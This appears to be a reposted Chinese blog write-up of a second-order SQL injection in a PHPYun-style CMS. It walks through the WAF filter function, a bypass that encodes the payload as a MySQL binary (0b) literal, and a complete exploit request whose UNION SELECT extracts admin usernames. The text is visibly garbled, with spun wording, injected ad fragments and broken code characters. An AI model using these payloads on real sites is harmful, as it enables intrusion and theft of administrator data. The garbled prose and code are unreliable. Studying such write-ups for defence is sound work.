某php开源系统cms趣味的二次引入

原题目:某php开源系统cms趣味的二次引入

系统漏洞表明

这一系统漏洞涉及到来到mysql中较为有趣的2个专业知识点及其以table做为二次引入的提升口,十分的有趣。此cms的防引入尽管是很超级变态的,可是却能够运用mysql的这2个特性绕开防御力。
此次的系统漏洞是出現在ndex.class.php中的likejob_action()和saveresumeson_action()涵数,因为这2个涵数对客户的键入沒有开展严苛的显示信息,同时运用mysql的特性可以绕开waf。
濮阳企业网站建设公司

PS:此系统漏洞的开启必须在WAP自然环境下,因此在开展调节的情况下必须改动访问器的ua为Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Mobile Safari/537.36。

系统漏洞剖析

mysql特性

特性1

传统式的插进方法将会大伙儿想起的全是insert into test(id,content,title) values(1,'hello','hello')。假如大家只是值必须插进一条纪录,则应用insert into test(content) values('hello2')。以下图所显示:

可是具体上还存有此外一种方法可以只是值插进一条纪录。

insert into test set content='hello3';

能看到这类方法和insert into test(content) values('hello2')是一样的。

表明插进数据信息时,运用values()和根据=特定列的方法結果都一样

特性2

大家了解mysql里能够应用十六进制表明标识符串。以下:

在其中0x68656c6c6f表明的便是hello。它是一个很普遍的方法。

除开应用十六进制外,还能够应用二进制的方法开展插进。hello的二进制是01101000 01100101 01101100 01101100 01101111,那麼大家的SQL句子还能够那样写,insert into test set content=0b0110100001100101011011000110110001101111。这类方法和insert into test(content) values (0b0110100001100101011011000110110001101111)是一样的。

mysql不但可使用十六进制插进,还能够应用二进制的方法插进

waf安全防护剖析

waf的安全防护是坐落于config/db.safety.php

在其中的gpc2sql()过虑编码以下:

function gpc2sql($str, $str2) {

if (preg_match("/select|insert|update|delete|load_file|outfile/is", $str)) {

exit(safe_pape());

}

if (preg_match("/select|insert|update|delete|load_file|outfile/is", $str2)) {

exit(safe_pape());

}

$arr = array("sleep" = "Sleep", " and " = " an d ", " or " = " Or ", "xor" = "xOr", "%20" = " ", "select" = "Select", "update" = "Update", "count" = "Count", "chr" = "Chr", "truncate" = "Truncate", "union" = "Union", "delete" = "Delete", "insert" = "Insert", """ = "“", "'" = "“", "--" = "- -", "(" = "(", ")" = ")", "00000000" = "OOOOOOOO", "0x" = "Ox");

foreach ($arr as $key = $v) {

$str = preg_replace('/' . $key . '/isU', $v, $str);

}

return $str;

}

能看到将0x更换以便Ox,因此没法传到十六进制,可是大家却能够运用mysql中的二进制的特性,运用0b的方法传到大家必须的payload。

index.class.php系统漏洞剖析

系统漏洞是坐落于wap/member/model/index.class.php中,系统漏洞造成的关键涵数是坐落于likejob_action()和saveresumeson_action()中。大家最先剖析likejob_action()。likejob_action()的关键编码以下:

而DB_update_all()的编码以下:

function DB_update_all($tablename, $value, $where = 1,$pecial=''){

if($pecial!=$tablename){

$where =$this- site_fetchsql($where,$tablename);

}

$SQL = "UPDATE `" . $this- def . $tablename . "` SET $value WHERE ".$where;

$this- db- query("set sql_mode=''");

$return=$this- db- query($SQL);

return $return;

}

换句话说,当数据信息进到到DB_update_all()以后也不会出现一切的过虑。那麼系统漏洞点就取决于resume_expect中的job_classid字段名。job_classid字段名的內容的传送以下图所显示:

因此如假如大家操纵了resume_expect中的job_classid字段名,大家就可以够改动这条句子了。

大家能够依靠于saveresumeson_action()来向job_classid中插进大家的payload。saveresumeson_action()的重要编码以下:

能看到$table是立即根据"resume_".$_POST['table']拼凑的,这也就认为着$table就是我们可控性的,以后$table进到了$this- obj- update_once()中。大家进到uptate_once()中:

$table自变量在update_once()沒有开展一切的解决,立即进到到DB_update_all()中,大家跟踪进到到DB_update_all()中:

一样沒有开展一切的解决。

根据上边的追踪剖析,说明$table="resume_".$_POST['table'];取值以后,半途$table自变量沒有开展一切的过虑立即进到了最后的SQL句子查寻。

这般全部进攻链就取得成功了,大家根据saveresumeson_action()中的$table可控性,对resume_expect中的job_classid开展改动,以后根据likejob_action()载入job_classid字段名的內容,实行大家的SQL句子。

因为大家没法应用十六进制,这时大家就必须应用到二进制(0b)插进大家的payload。

系统漏洞复现

申请注册客户/建立个人简历

申请注册客户建立个人简历。这时在phpyun_resume_expect中存有一条id=1的纪录。

浏览saveresumeson

大家浏览saveresumeson相匹配的URL,载入大家的payload。依据英语的语法,大家必须将table的內容设定为

expect' set class_id=1))/**/union/**/select/**/1,username,3,4,5,6,7,8,9,10,11,12/**/from/**/phpyun_admin_user #,uid=1 #

因为1))/**/union/**/select/**/1,username,3,4,5,6,7,8,9,10,11,12/**/from/**/phpyun_admin_user #没法绕开SQL的防御力,必须转换为二进制,是001100010010100100101001001011110010101000101010001011110111010101101110011010010110111101101110001011110010101000101010001011110111001101100101011011000110010101100011011101000010111100101010001010100010111100110001001011000111010101110011011001010111001001101110011000010110110101100101001011000011001100101100001101000010110000110101001011000011011000101100001101110010110000111000001011000011100100101100001100010011000000101100001100010011000100101100001100010011001000101111001010100010101000101111011001100111001001101111011011010010111100101010001010100010111101110000011010000111000001111001011101010110111001011111011000010110010001101101011010010110111001011111011101010111001101100101011100100010000000100011

那麼最后的payload是:

URL:http://localhost/wap//member/index.php?c=saveresumeson eid=1

POST:name=java%e5%a4%a7%e6%95%b0%e6%8d%ae%e5%bc%80%e5%8f%91 sdate=2018-02 edate=2018-03 title=%e6%a0%b8%e5%bf%83%e5%bc%80%e5%8f%91%e4%ba%ba%e5%91%98 content=java%e5%a4%a7%e6%95%b0%e6%8d%ae%e5%ba%93%e5%bc%80%e5%8f%91 eid=1 id= submit=%e4%bf%9d%e5%ad%98 table=expect%60set+job_classid%3d0b0011000100101001001010010010111100101010001010100010111101110101011011100110100101101111011011100010111100101010001010100010111101110011011001010110110001100101011000110111010000101111001010100010101000101111001100010010110001110101011100110110010101110010011011100110000101101101011001010010110000110011001011000011010000101100001101010010110000110110001011000011011100101100001110000010110000111001001011000011000100110000001011000011000100110001001011000011000100110010001011110010101000101010001011110110011001110010011011110110110100101111001010100010101000101111011100000110100001110000011110010111010101101110010111110110000101100100011011010110100101101110010111110111010101110011011001010111001000100011%2cuid%3d1+%23

这时大家实行的SQL句子是:

INSERT INTO `phpyun_resume_expect`set job_classid=0b001100010010100100101001001011110010101000101010001011110111010101101110011010010110111101101110001011110010101000101010001011110111001101100101011011000110010101100011011101000010111100101010001010100010111100110001001011000111010101110011011001010111001001101110011000010110110101100101001011000011001100101100001101000010110000110101001011000011011000101100001101110010110000111000001011000011100100101100001100010011000000101100001100010011000100101100001100010011001000101111001010100010101000101111011001100111001001101111011011010010111100101010001010100010111101110000011010000111000001111001011101010110111001011111011000010110010001101101011010010110111001011111011101010111001101100101011100100010000000100011,uid=1 #` SET

最后数据信息库文件多了一条纪录,以下:

大家圆满地为job_classid中插进了大家的的payload

浏览likejob_action开启payload

接下去大家浏览http://localhost/member/index.php?c=likejob id=7,在其中的id便是不久大家插进的payload所相匹配纪录的id。当运作至DB_select_all()中实行的SQL句子是:

以便有利于剖析,大家将这条SQL句子放进到datagrid中分刘海析:

最后在网页页面上显示信息admin的信息内容。

到此全部系统漏洞都剖析结束了。

小结

一般来讲,二次引入运用点一般都较为含蓄。因此二次引入的构思比一一样的引入更为恰当和有趣,在本例中反映得尤其显著。回到凡科,查询大量

这一二次引入的点较为难找,二次引入中的运用table做为二次引入的运用点的事例還是较为罕见的; 绕开方式也较为罕见。本例中的waf的安全防护還是较为严苛的,运用了mysql的2个罕见特点便可以绕开了。

相关阅读